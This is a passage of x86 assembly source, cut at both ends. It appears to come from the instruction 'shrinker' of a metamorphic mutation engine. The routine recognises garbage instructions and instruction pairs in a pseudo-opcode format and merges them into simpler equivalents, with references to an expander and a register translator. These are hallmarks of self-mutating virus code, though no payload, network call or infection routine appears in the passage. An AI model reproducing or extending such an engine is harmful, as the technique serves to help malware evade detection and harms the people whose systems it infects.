mov ecx, 40h ; Set ECX = pseudoopcode of MOV
|
|
@@Single_Next_CheckSetTo0_2:
|
|
mov eax, [edi+1] ; Check if source == destiny
|
|
mov ebx, [edi+7]
|
|
and eax, 0FFh
|
|
and ebx, 0FFh
|
|
cmp eax, ebx ; If they are equal...
|
|
jnz @@Single_End ; ...
|
|
xor eax, eax ; ...set MOV Reg,0
|
|
mov [edi+7], eax
|
|
jmp @@Single_SetInstructionECX
|
|
|
|
@@Single_Next16:
|
|
;mov al, [edi]
|
|
cmp eax, 31h+80h ; XOR Reg8,Reg8?
|
|
jnz @@Single_Next17
|
|
@@Single_Next_CheckSetTo0_8b:
|
|
mov ecx, 40h+80h ; Check if source == destiny and put
|
|
jmp @@Single_Next_CheckSetTo0_2 ; MOV Reg8,0 if they are
|
|
; equal
|
|
@@Single_Next17:
|
|
;mov al, [edi]
|
|
cmp eax, 29h ; SUB Reg,Reg?
|
|
jz @@Single_Next_CheckSetTo0 ; Check in the same way as
|
|
; XOR Reg,Reg
|
|
@@Single_Next18:
|
|
;mov al, [edi]
|
|
cmp eax, 29h+80h ; SUB Reg8,Reg8?
|
|
jz @@Single_Next_CheckSetTo0_8b ; Check if src == dest, to
|
|
; see if we put MOV Reg8,0
|
|
|
|
@@Single_Next19:
|
|
;mov al, [edi]
|
|
cmp eax, 09h ; OR Reg,Reg?
|
|
jnz @@Single_Next20
|
|
@@Single_Next_CheckCheckIf0:
|
|
mov ecx, 38h ; Put CMP Reg,0 if src == dest
|
|
jmp @@Single_Next_CheckSetTo0_2
|
|
|
|
@@Single_Next20:
|
|
;mov al, [edi]
|
|
cmp eax, 09h+80h ; OR Reg8,Reg8?
|
|
jnz @@Single_Next21
|
|
@@Single_Next_CheckCheckIf0_8b:
|
|
mov ecx, 38h+80h ; Put CMP Reg8,0 if src == dest
|
|
jmp @@Single_Next_CheckSetTo0_2
|
|
|
|
@@Single_Next21:
|
|
;mov al, [edi]
|
|
cmp eax, 21h ; AND Reg,Reg?
|
|
jz @@Single_Next_CheckCheckIf0
|
|
|
|
@@Single_Next22:
|
|
;mov al, [edi]
|
|
cmp eax, 21h+80h ; AND Reg8,Reg8?
|
|
jz @@Single_Next_CheckCheckIf0_8b
|
|
|
|
@@Single_Next23:
|
|
;mov al, [edi]
|
|
cmp eax, 49h ; TEST Reg,Reg?
|
|
jz @@Single_Next_CheckCheckIf0
|
|
|
|
@@Single_Next24:
|
|
;mov al, [edi]
|
|
cmp eax, 49h+80h ; TEST Reg8,Reg8?
|
|
jz @@Single_Next_CheckCheckIf0_8b
|
|
|
|
@@Single_Next25:
|
|
;mov al, [edi]
|
|
cmp eax, 0FCh ; LEA Reg,[Mem]?
|
|
jnz @@Single_Next26
|
|
mov eax, [edi+2] ; Check second index
|
|
and eax, 0FFh
|
|
cmp eax, 40h ; If it has a multiplicator, it's not
|
|
jae @@Single_Next26 ; interesting
|
|
mov eax, [edi+1] ; Now +1 holds the first index (and if
|
|
and eax, 0FFh ; there aren't multiplicators, this
|
|
cmp eax, 8 ; must be < 8 if there is an index)
|
|
jz @@Single_Next_LEA_CheckMOV ; If 8, there aren't indexes
|
|
mov ecx, [edi+7]
|
|
and ecx, 0FFh ; ECX = Destiny register
|
|
cmp eax, ecx ; Are they equal?
|
|
jz @@Single_Next_LEA_CheckADD ; If so, check ADD
|
|
mov eax, [edi+2] ; Get the second index
|
|
and eax, 0FFh ; Is there anyone?
|
|
cmp eax, 8
|
|
jz @@Single_Next_LEA_CheckMOVRegReg ; If not, check MOV
|
|
cmp eax, ecx ; Is equal to the destiny?
|
|
jz @@Single_Next_LEA_CheckADDRegReg2 ; If so, check ADD
|
|
mov ecx, [edi+1] ; Get the first index
|
|
and ecx, 0FFh
|
|
cmp eax, ecx ; If it's not equal to the second,
|
|
jnz @@Single_End ; finish singles conversion
|
|
mov eax, 8 ; Set the first index as 8
|
|
mov ecx, [edi+1]
|
|
and ecx, 0FFFFFF00h
|
|
add eax, ecx
|
|
mov [edi+1], eax
|
|
mov eax, [edi+2]
|
|
add eax, 40h ; Set LEA Reg,[2*Reg]
|
|
mov [edi+2], eax
|
|
jmp @@EndCompressed ; End with compression flag
|
|
@@Single_Next_LEA_CheckADDRegReg2:
|
|
mov eax, [edi+3] ; Get the immediate
|
|
or eax, eax ; If it's 0, set ADD Reg,Reg
|
|
jz @@Single_Next_LEA_SetADDRegReg_2 ; If not, leave LEA
|
|
jmp @@Single_End
|
|
@@Single_Next_LEA_CheckMOV:
|
|
mov eax, [edi+2] ; It DOESN'T hold anything more than
|
|
and eax, 0FFh ; 8, but just in case
|
|
cmp eax, 8
|
|
jz @@Single_Next_LEA_SetMOV ; If 8, set MOV Reg,Imm
|
|
mov ecx, [edi+7] ; Get the destiny
|
|
and ecx, 0FFh
|
|
cmp eax, ecx ; If destiny == index, set ADD
|
|
jz @@Single_Next_LEA_SetADD_2
|
|
mov eax, [edi+3] ; Get the Immediate
|
|
or eax, eax ; If it isn't 0, end
|
|
jnz @@Single_End
|
|
@@Single_Next_LEA_SetMOVRegReg_2:
|
|
mov eax, [edi+2] ; Set MOV Reg,Reg (from LEA Reg,[Reg])
|
|
mov ecx, [edi+1]
|
|
and ecx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ecx
|
|
mov [edi+1], eax
|
|
mov eax, 41h
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next_LEA_SetADD_2:
|
|
mov ecx, [edi+1] ; Set ADD Reg,Reg (from
|
|
and ecx, 0FFFFFF00h ; LEA Reg,[Reg+Reg2])
|
|
and eax, 0FFh
|
|
add eax, ecx
|
|
mov [edi+1], eax
|
|
mov eax, [edi+3]
|
|
mov [edi+7], eax
|
|
xor eax, eax
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next_LEA_SetMOV:
|
|
mov ecx, 40h ; Set MOV Reg,Imm (from LEA Reg,[Imm])
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFFFFF00h
|
|
add eax, ebx
|
|
mov [edi+1], eax
|
|
@@Single_Next_LEA_SetInstructionECX:
|
|
mov eax, [edi+3]
|
|
mov [edi+7], eax
|
|
jmp @@Single_SetInstructionECX
|
|
@@Single_Next_LEA_CheckADD:
|
|
mov eax, [edi+2] ; Check another possibility for ADD
|
|
and eax, 0FFh
|
|
cmp eax, 8 ; If Index2 == 8 (not set), set
|
|
jz @@Single_Next_LEA_SetADD ; ADD Reg,Imm
|
|
mov eax, [edi+3] ; If Index2 != 8 and memory dword
|
|
or eax, eax ; addition is != 0, end
|
|
jnz @@Single_End
|
|
@@Single_Next_LEA_SetADDRegReg:
|
|
mov eax, [edi+2] ; Set ADD Reg,Reg
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [edi+1], eax
|
|
@@Single_Next_LEA_SetADDRegReg_2:
|
|
mov eax, 01h ; Pseudo-opcode of ADD Reg,Reg
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next_LEA_SetADD:
|
|
mov eax, [edi+3]
|
|
mov [edi+7], eax ; Set memory dword addition as the
|
|
xor eax, eax ; Imm to add in ADD Reg,Imm
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next_LEA_CheckMOVRegReg:
|
|
mov eax, [edi+3] ; If the dword addition is 0, set
|
|
or eax, eax ; MOV Reg,Reg2
|
|
jnz @@Single_End
|
|
@@Single_Next_LEA_SetMOVRegReg:
|
|
mov eax, 41h ; Pseudo-opcode of MOV Reg,Reg
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next26:
|
|
cmp eax, 4Fh ; MOV Mem,Mem?
|
|
jnz @@Single_Next27
|
|
mov esi, [edi+7] ; If src == dest, set NOP
|
|
mov eax, [edi+1] ; This could be, for example, a
|
|
cmp eax, [esi+1] ; compression of the sequence
|
|
jnz @@Single_End ; PUSH [EAX+123] / POP [EAX+123]
|
|
mov eax, [edi+3]
|
|
cmp eax, [esi+3]
|
|
jz @@Single_SetNOP
|
|
|
|
@@Single_Next27:
|
|
cmp eax, 38h ; CMP instruction?
|
|
jb @@Single_Next28
|
|
cmp eax, 3Ch
|
|
ja @@Single_Next28
|
|
@@Single_Next27_Common:
|
|
mov edx, edi ; Let's get the next instruction. It the
|
|
@@Single_Next27_GetNextInstr: ; next instruction is not a conditional
|
|
add edx, 10h ; jump, this CMP is a garbage instruction,
|
|
mov eax, [edx+0Bh] ; so we NOP it
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@Single_SetNOP
|
|
mov eax, [edx]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz @@Single_Next27_GetNextInstr
|
|
cmp eax, 70h
|
|
jb @@Single_SetNOP
|
|
cmp eax, 7Fh
|
|
ja @@Single_SetNOP
|
|
jmp @@Single_End
|
|
|
|
|
|
@@Single_Next28:
|
|
cmp eax, 38h+80h ; 8 bits CMP instruction?
|
|
jb @@Single_Next29
|
|
cmp eax, 3Ch+80h
|
|
jbe @@Single_Next27_Common
|
|
|
|
@@Single_Next29:
|
|
cmp eax, 48h ; Do the same with TEST. A single test
|
|
jb @@Single_Next30 ; (without conditional jump) is garbage
|
|
cmp eax, 4Ch ; for sure.
|
|
jbe @@Single_Next27_Common
|
|
|
|
@@Single_Next30:
|
|
cmp eax, 48h+80h ; 8 bits TEST instruction?
|
|
jb @@Single_Next31
|
|
cmp eax, 4Ch+80h
|
|
jbe @@Single_Next27_Common
|
|
|
|
@@Single_Next31:
|
|
|
|
@@Single_End:
|
|
;; Once here we check if it's a 8 bits instruction. If it's the case,
|
|
;; we save for later the register it's using (concretely, for register
|
|
;; translation). The last one stored here is the one we are using along
|
|
;; the engine.
|
|
|
|
mov eax, [edi] ; Get the instruction
|
|
and eax, 0FFh
|
|
cmp eax, 80h+00 ; Check if it's a 8 bits opcode
|
|
jb @@Check_Double
|
|
cmp eax, 80h+4Ch
|
|
ja @@Check_Double
|
|
and eax, 7
|
|
or eax, eax ; If it is, check if it's MOV Reg,Imm,
|
|
jz @@GetFrom_RegImm
|
|
cmp eax, 1 ; MOV Reg,Reg,
|
|
jz @@GetFrom_RegReg
|
|
cmp eax, 2 ; MOV Reg,Mem or
|
|
jz @@GetFrom_RegMem
|
|
cmp eax, 3 ; MOV Mem,Reg, and then we get the
|
|
jnz @@Check_Double ; register and save it, having then
|
|
@@GetFrom_MemReg: ; the 8 bits register that we are using
|
|
@@GetFrom_RegMem: ; along the code. This register must be
|
|
@@GetFrom_RegReg: ; treated specially by the register
|
|
mov eax, [edi+7] ; translator of the expander, because must
|
|
and eax, 0FFh ; be one of the general use registers
|
|
jmp @@GetFrom_OK ; (EAX, ECX, EDX and EBX)
|
|
@@GetFrom_RegImm:
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
@@GetFrom_OK:
|
|
mov [ebp+Register8Bits], eax ; Save the register
|
|
|
|
|
|
;;; Pairs of instructions. We try to match known pairs to merge them to the
|
|
;;; simple one-instruction form.
|
|
@@Check_Double:
|
|
mov esi, edi
|
|
call IncreaseEIP ; Increase pointer and get the second
|
|
cmp edi, [ebp+AddressOfLastInstruction] ; instruction.
|
|
jz @@EndNoCompressed
|
|
mov eax, [edi+0Bh]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@EndNoCompressed ; We don't join instructions with
|
|
; labels on them.
|
|
;; Pair to check is at <[esi],[edi]>
|
|
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 68h ; Check pair with PUSH Imm
|
|
jnz @@Double_Next00
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h ; PUSH Imm/POP Reg?
|
|
jz @@Double_Next_PutMOVRegImm
|
|
cmp eax, 59h ; PUSH Imm/POP Mem?
|
|
jnz @@EndNoCompressed
|
|
@@Double_Next_PutMOVMemImm:
|
|
mov eax, [edi+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edi+3]
|
|
mov [esi+3], eax
|
|
mov eax, 44h ; Set MOV Mem,Imm
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next_PutMOVRegImm:
|
|
mov eax, [edi+1]
|
|
mov [esi+1], eax
|
|
mov eax, 40h ; Set MOV Reg,Imm
|
|
@@Double_Next_SetInstruction:
|
|
mov ebx, [esi]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi], eax
|
|
@@Double_Next_SetNOP:
|
|
mov eax, 0FFh ; Set NOP at second instruction
|
|
mov [edi], al
|
|
jmp @@EndCompressed
|
|
|
|
@@Double_Next00:
|
|
;mov al, [esi]
|
|
cmp eax, 50h ; Check pair beginning with PUSH Reg
|
|
jnz @@Double_Next01
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h ; PUSH Reg/POP Reg?
|
|
jz @@Double_Next_PushPop
|
|
cmp eax, 0FEh ; PUSH Reg/RET?
|
|
jz @@Double_Next00_JMPReg
|
|
cmp eax, 59h ; PUSH Reg/POP Mem?
|
|
jnz @@Double_End
|
|
mov eax, [esi+1]
|
|
mov ebx, [esi+7]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi+7], eax
|
|
mov eax, [edi+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edi+3]
|
|
mov [esi+3], eax
|
|
mov eax, 43h ; If PUSH Reg/POP Mem, set MOV Mem,Reg
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next_PushPop:
|
|
mov eax, [edi+1]
|
|
mov [esi+7], eax
|
|
mov eax, 41h ; If PUSH Reg/POP Reg, set MOV Reg,Reg
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next00_JMPReg:
|
|
mov eax, 0EDh ; If PUSH Reg/RET, set JMP Reg
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next01:
|
|
;mov al, [esi]
|
|
cmp eax, 51h ; Check pair beginning with PUSH Mem
|
|
jnz @@Double_Next02
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h ; PUSH Mem/POP Reg?
|
|
jz @@Double_Next01_PushPop
|
|
cmp eax, 59h ; PUSH Mem/POP Mem?
|
|
jnz @@Double_End
|
|
@@Double_Next01_MOVMemMem:
|
|
mov [esi+7], edi
|
|
mov [edi+7], esi
|
|
mov eax, 4Fh ; If PUSH Mem/POP Mem, MOV Mem,Mem
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next01_PushPop:
|
|
mov eax, [edi+1]
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi+7], eax
|
|
mov eax, 42h ; If PUSH Mem/POP Reg, set MOV Reg,Mem
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next02:
|
|
mov eax, [esi+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next_NoMem
|
|
mov eax, [esi+3] ; If bytes from +1 to +6 coincides,
|
|
cmp eax, [edi+3] ; it can be a memory operation with
|
|
jnz @@Double_Next_NoMem ; the same memory variable. If not,
|
|
; just jump to check other things
|
|
|
|
; From now and while we are checking memory variable using instructions,
|
|
; we are sure that they use the same memory variable.
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 0F6h ; Check if it's APICALL_STORE
|
|
jz @@Double_Next02_Check ; If it is, jump (it's just like
|
|
; a MOV Mem,Reg)
|
|
cmp eax, 43h ; MOV Reg,Mem?
|
|
jnz @@Double_Next03
|
|
@@Double_Next02_Check:
|
|
mov eax, [edi] ; Get the second instruction
|
|
and eax, 0FFh
|
|
cmp eax, 51h ; PUSH Mem?
|
|
jz @@Double_Next02_PushReg
|
|
cmp eax, 4Ch ; OP Mem,Imm?
|
|
jbe @@Double_Next_OPRegReg
|
|
cmp eax, 0EAh ; CALL Mem?
|
|
jz @@Double_Next02_CALLMem
|
|
cmp eax, 0EBh ; JMP Mem?
|
|
jnz @@Double_End
|
|
@@Double_Next02_JMPMem:
|
|
mov eax, 0EDh ; MOV Mem,Reg + JMP Mem = JMP Reg
|
|
@@Double_Next02_XXXMem:
|
|
push eax
|
|
mov eax, [esi+7]
|
|
mov ebx, [esi+1]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi+1], eax
|
|
pop eax
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next02_CALLMem:
|
|
mov eax, 0ECh ; MOV Mem,Reg + CALL Mem = CALL Reg
|
|
jmp @@Double_Next02_XXXMem
|
|
@@Double_Next_OPRegReg:
|
|
and eax, 7Fh ; Check operation
|
|
cmp eax, 3Bh ; Check for CMP Mem,Reg
|
|
jz @@Double_Next02_MergeCheck ; If it is, merge the check
|
|
cmp eax, 4Bh ; Check for TEST Mem,Reg
|
|
jz @@Double_Next02_MergeCheck ; If it is, merge
|
|
cmp eax, 4Ah ; Check for TEST Reg,Mem (in fact, the
|
|
jz @@Double_Next02_MergeCheck ; same x86 opcode)
|
|
and eax, 7
|
|
cmp eax, 2 ; Check for OP Reg,Mem
|
|
jnz @@Double_End ; If not, finish
|
|
mov eax, [esi+7] ; If so, merge it:
|
|
mov [esi+1], eax ; MOV Mem,Reg + OP Reg,Mem = OP Reg,Reg
|
|
mov eax, [edi+7] ; We don't care about the two registers
|
|
mov [esi+7], eax ; being equal, because that is going to
|
|
; be checked by the scanning of single
|
|
; instructions
|
|
@@Double_Next02_SetOP:
|
|
mov eax, [edi] ; Get the OP
|
|
and eax, 0F8h ; Transform it to OP Reg,Reg
|
|
add eax, 1
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next02_MergeCheck:
|
|
mov eax, [edi+7]
|
|
mov [esi+1], eax ; Merge the check (if CMP/TEST Reg,Mem)
|
|
jmp @@Double_Next02_SetOP
|
|
@@Double_Next02_PushReg:
|
|
mov eax, [esi+7]
|
|
mov [esi+1], eax
|
|
mov eax, 50h ; MOV Mem,Reg/PUSH Mem = PUSH Reg
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next03:
|
|
;mov al, [esi]
|
|
cmp eax, 0C3h ; Check pair beginning with MOV Mem8,Reg8
|
|
jnz @@Double_Next04
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 00h+80h ; Check if it's a normal operation
|
|
jb @@Double_End ; (pseudo-opcodes 80-CC)
|
|
cmp eax, 4Ch+80h
|
|
jbe @@Double_Next_OPRegReg
|
|
jmp @@Double_End
|
|
|
|
@@Double_Next04:
|
|
cmp eax, 44h ; Check if it begins with MOV Mem,Imm
|
|
jnz @@Double_Next05
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 51h ; PUSH Mem?
|
|
jz @@Double_Next04_PushImm ; Set PUSH Imm
|
|
cmp eax, 4Ch
|
|
ja @@Double_Next05
|
|
and eax, 7
|
|
cmp eax, 2 ; OP Reg,Mem?
|
|
jnz @@Double_Next05 ; If not, check next pair
|
|
@@Double_Next_Merge_MOV_OP:
|
|
mov eax, [edi+7]
|
|
mov ebx, [esi+1]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi+1], eax
|
|
mov eax, [edi]
|
|
and eax, 0F8h ; MOV Mem,Imm + OP Reg,Mem = OP Reg,Imm
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next04_PushImm:
|
|
mov eax, 68h ; MOV Mem,Imm + PUSH Mem = PUSH Imm
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next05:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 44h+80h ; Same as above, but 8 bits operations
|
|
jnz @@Double_Next06
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 00h+80h
|
|
jb @@Double_Next06
|
|
cmp eax, 4Ch+80h
|
|
ja @@Double_Next06
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jnz @@Double_Next06
|
|
jmp @@Double_Next_Merge_MOV_OP
|
|
|
|
@@Double_Next06:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 59h ; POP Mem?
|
|
jnz @@Double_Next_NoMem
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 42h ; POP Mem + MOV Reg,Mem?
|
|
jz @@Double_Next06_POPReg
|
|
cmp eax, 4Fh ; POP Mem + MOV Mem,Mem?
|
|
jz @@Double_Next06_POPMem
|
|
cmp eax, 51h ; POP Mem + PUSH Mem?
|
|
jz @@Double_Next_SetDoubleNOP
|
|
cmp eax, 0EBh ; POP Mem + JMP Mem?
|
|
jnz @@Double_Next_NoMem
|
|
mov eax, 0FEh ; POP Mem + JMP Mem = RET
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next06_POPReg:
|
|
mov eax, [edi+7]
|
|
mov [esi+1], eax
|
|
mov eax, 58h ; POP Mem + MOV Reg,Mem = POP Reg
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next06_POPMem:
|
|
mov ebx, [edi+7]
|
|
mov eax, [ebx+1]
|
|
mov [esi+1], eax
|
|
mov eax, [ebx+3]
|
|
mov [esi+3], eax ; POP Mem + MOV Mem2,Mem = POP Mem2
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next_SetDoubleNOP:
|
|
mov eax, 0FFh ; POP Mem + PUSH Mem = NOP
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
|
|
@@Double_Next_NoMem:
|
|
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 40h ; MOV Reg,Imm?
|
|
jnz @@Double_Next07
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 42h+80h ; MOV Reg,Imm + MOV Reg8,Mem8?
|
|
jz @@Double_Next06_MaybeMOVZX
|
|
cmp eax, 1 ; MOV Reg,Imm + ADD Reg,Reg?
|
|
jnz @@Double_Next07
|
|
mov eax, [esi+1] ; MOV Reg,Imm + ADD Reg,Reg2 =
|
|
and eax, 0FFh ; = LEA Reg,[Reg2+Imm]
|
|
mov ebx, [edi+7]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next07
|
|
mov eax, [esi+7]
|
|
mov [esi+3], eax
|
|
mov eax, [esi+1]
|
|
mov [esi+7], eax
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
mov ebx, [esi+1]
|
|
and ebx, 0FFFFFF00h
|
|
add eax, ebx
|
|
mov [esi+1], eax
|
|
@@Double_Next06_SetLEA:
|
|
mov eax, [esi+2]
|
|
and eax, 0FFFFFF00h
|
|
add eax, 8
|
|
mov [esi+2], eax
|
|
mov eax, 0FCh
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next06_MaybeMOVZX:
|
|
mov eax, [esi+7]
|
|
or eax, eax
|
|
jnz @@Double_Next07
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+7]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next07
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jz @@Double_Next07
|
|
mov ebx, [edi+2]
|
|
and ebx, 0Fh
|
|
cmp eax, ebx
|
|
jz @@Double_Next07
|
|
mov [esi+7], eax
|
|
mov eax, [edi+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edi+3]
|
|
mov [esi+3], eax
|
|
mov eax, 0F8h ; MOV Reg,0+MOV Reg8,Mem8=MOVZX Reg,Mem8
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next07:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 41h ; MOV Reg,Reg?
|
|
jnz @@Double_Next08
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
or eax, eax ; MOV Reg,Reg + ADD Reg,Imm?
|
|
jz @@Double_Next07_LEA01
|
|
cmp eax, 1 ; MOV Reg,Reg + ADD Reg,Reg?
|
|
jnz @@Double_Next08
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+7]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next08
|
|
mov eax, [edi+1]
|
|
mov [esi+2], eax
|
|
xor eax, eax
|
|
mov [esi+3], eax ; MOV Reg,Reg2 + ADD Reg,Reg3 =
|
|
mov eax, 0FCh ; = LEA Reg,[Reg2+Reg3]
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next07_LEA01:
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next08
|
|
mov eax, [edi+7] ; MOV Reg,Reg2 + ADD Reg,Imm =
|
|
mov [esi+3], eax ; = LEA Reg,[Reg2+Imm]
|
|
jmp @@Double_Next06_SetLEA
|
|
|
|
@@Double_Next08:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
or eax, eax ; ADD Reg,Imm?
|
|
jnz @@Double_Next09
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 01h ; ADD Reg,Imm + ADD Reg,Reg2?
|
|
jnz @@Double_Next09
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+7]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next09
|
|
mov eax, [edi+1]
|
|
mov [esi+2], eax
|
|
mov eax, [esi+7]
|
|
mov [esi+3], eax
|
|
mov eax, [esi+1]
|
|
mov [esi+7], eax
|
|
mov eax, 0FCh ; Merge to LEA
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next09:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 01h ; ADD Reg,Reg?
|
|
jnz @@Double_Next10
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
or eax, eax ; ADD Reg,Imm?
|
|
jnz @@Double_Next10
|
|
mov eax, [esi+7]
|
|
cmp al, [edi+1]
|
|
jnz @@Double_Next10
|
|
mov eax, [esi+1]
|
|
mov [esi+2], al
|
|
mov eax, [esi+7]
|
|
mov [esi+1], al
|
|
mov eax, [edi+7]
|
|
mov [esi+3], eax
|
|
mov eax, 0FCh ; Merge to LEA
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next10:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 4Ch ; Generic OP?
|
|
ja @@Double_Next11
|
|
mov al, [edi]
|
|
cmp eax, 4Ch ; Generic OP + Generic OP?
|
|
ja @@Double_Next11
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 4 ; OP Mem,Imm + Generic OP?
|
|
jz @@Double_Next10_OPMemImm
|
|
or eax, eax ; OP Reg,Imm + Generic OP?
|
|
jnz @@Double_Next11
|
|
@@Double_Next10_OPRegImm:
|
|
mov eax, [edi]
|
|
and eax, 7
|
|
or eax, eax ; OP Reg,Imm + OP Reg,Imm?
|
|
jnz @@Double_Next11
|
|
mov eax, [esi+1]
|
|
cmp al, [edi+1] ; 1st Reg == 2nd Reg?
|
|
jnz @@Double_Next11
|
|
xor ebx, ebx
|
|
@@Double_Next_CalculateOperation:
|
|
push ebx
|
|
mov ecx, [esi+7]
|
|
mov edx, [edi+7]
|
|
@@Double_Next_CalculateOperation_2:
|
|
mov eax, [edi]
|
|
and eax, 78h ; Get 2nd OP
|
|
mov ebx, eax
|
|
mov eax, [esi]
|
|
and eax, 78h ; Get 1st OP
|
|
call CalculateOperation ; Merge the operations
|
|
pop ebx
|
|
cmp eax, 0FEh ; Can be merged?
|
|
jz @@Double_End ; If not, check triplet
|
|
cmp eax, 0FFh ; OP Reg,Imm + MOV Reg,Imm?
|
|
jz @@Double_Next_SetNOPAt1st ; Then, eliminate first
|
|
mov [esi+7], ecx
|
|
add eax, ebx ; Set merged operation
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next_SetNOPAt1st:
|
|
mov eax, 0FFh ; Set NOP at first instruction
|
|
mov [esi], al
|
|
jmp @@EndCompressed ; Return with success
|
|
@@Double_Next10_OPMemImm:
|
|
mov eax, [edi]
|
|
and eax, 7
|
|
cmp eax, 4 ; OP Mem,Imm + OP Mem,Imm?
|
|
jnz @@Double_Next11
|
|
mov eax, [esi+1]
|
|
cmp eax, [edi+1] ; Are mem operands the same?
|
|
jnz @@Double_Next11
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next11
|
|
mov ebx, 4 ; If so, jump to try merging OPs
|
|
jmp @@Double_Next_CalculateOperation
|
|
|
|
@@Double_Next11:
|
|
xor eax, eax
|
|
mov al, [esi] ; Do the same as above, but with
|
|
cmp eax, 00h+80h ; 8 bits operations
|
|
jb @@Double_Next12
|
|
cmp eax, 4Ch+80h
|
|
ja @@Double_Next12
|
|
mov al, [edi]
|
|
cmp eax, 00h+80h
|
|
jb @@Double_Next12
|
|
cmp eax, 4Ch+80h
|
|
ja @@Double_Next12
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@Double_Next11_OPMemImm_8b
|
|
or eax, eax
|
|
jnz @@Double_Next12
|
|
@@Double_Next11_OPRegImm_8b:
|
|
mov eax, [edi]
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Double_Next12
|
|
mov ebx, 80h
|
|
